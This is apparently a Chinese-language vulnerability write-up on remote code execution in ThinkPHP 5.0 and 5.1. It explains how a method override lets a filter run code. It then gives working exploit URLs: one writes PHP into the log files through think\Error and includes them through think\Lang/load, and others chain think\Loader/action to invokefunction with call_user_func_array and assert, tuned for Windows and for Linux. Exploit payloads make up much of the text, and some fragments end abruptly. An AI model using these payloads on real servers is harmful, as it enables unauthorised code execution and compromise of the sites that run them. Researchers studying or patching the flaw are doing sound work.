// 應用調試模式 'app_debug' => false, (默認true) // URL參數方式 0 按名稱成對解析 1 按順序解析 'url_param_type' => 1, // (默認0) // 是否開啟路由 'url_route_on' => false, //(默認true)
url_param_type url_route_on
- ThinkPHP 5.0.5-5.0.22
- ThinkPHP 5.1.0-5.1.30
- Thinkphp 5.0.0 rc4-5.0.23


而在if代碼塊中Route::check函數間接調用了Request->method()方法,從而進行覆蓋變量,但是這里還不是執行
要執行還得繼續往下走,再觸發一次Request::instance()->input()方法
由Request::instance()-->param()間接調用Request::instance()->input()方法,用覆蓋的filter來對輸入參數進行過濾,從而觸發代碼執行

0x03 突破
先來講講一些坑點:

win環境中嚴格區分大小寫,導致了很多類其實是沒辦法加載的,這個我在之前的文章也分析過:https://www.cnblogs.com/r00tuser/p/10103329.html
// 是否自動轉換URL中的控制器和操作名 'url_convert' => true,(默認值)
http://127.0.0.1/index.php/?s=think\Process/start
可以看到實際找到的class為think/process,對應找到的文件為think/process.php,而文件實際的文件名為think/Process.php
(本地環境是win,僅證明linux的情況)

而測試過程中也發現了個有趣的點,在Mac下,php文件包含是不會區分大小寫的

所以無論在win還是linux下能夠利用的類就只有一開始程序已經加載的類:
think\Loader think\Route think\Config think\Validate think\Console think\Error think\App think\Request think\Hook think\Env think\Lang
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3C?php%20phpinfo();?%3E/
用<script language="php">(php<7)的時候,也因為</script>結束符有/ 符號而被切割無法正常寫入日志
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();%3C/script%3E
而嘗試去掉閉合標簽,也會因為后面的日志導致報錯
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();
包含:
http://127.0.0.1/index.php?s=think\Lang/load/runtime\log\202009\08.log
思路2:
前面說到由於沒法自動加載類的原因,導致能用的類少之又少,所以我們必須在下面的列表中找到能利用的
think\Loader think\Route think\Config think\Validate think\Console think\Error think\App think\Request think\Hook think\Env think\Lang
在一遍遍分析之后,終於在think\Loader類中找到了一個完美的方法action,看到代碼:
代碼對$url進行pathinfo取值,獲取pathinfo數組basename索引的值作為$action,而$module從數組dirname索引中獲取,如果數組dirname索引的值取不到則取當前控制器名(也就是think\Loader)
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
這里,我們就可以通過think\Loader的action方法間接調用起think\app 的invokefunction
http://127.0.0.1/index.php?s=think\Loader/action/think\APP\invokefunction/function=call_user_func_array%26vars[0]=assert%26vars[1][]=phpinfo()
最終實現代碼執行
但是這個payload只能在win下執行,原因是
\ /
但在linux下只能是
/
也就是dirname索引的值會是點號,從而執行不到我們想要的think\App類
http://127.0.0.1/index.php?s=think\Loader/action/action/url=think\APP%252finvokefunction%26vars[function]=call_user_func_array%26vars[vars][0]=assert%26vars[vars][1][]=phpinfo()
win:
linux: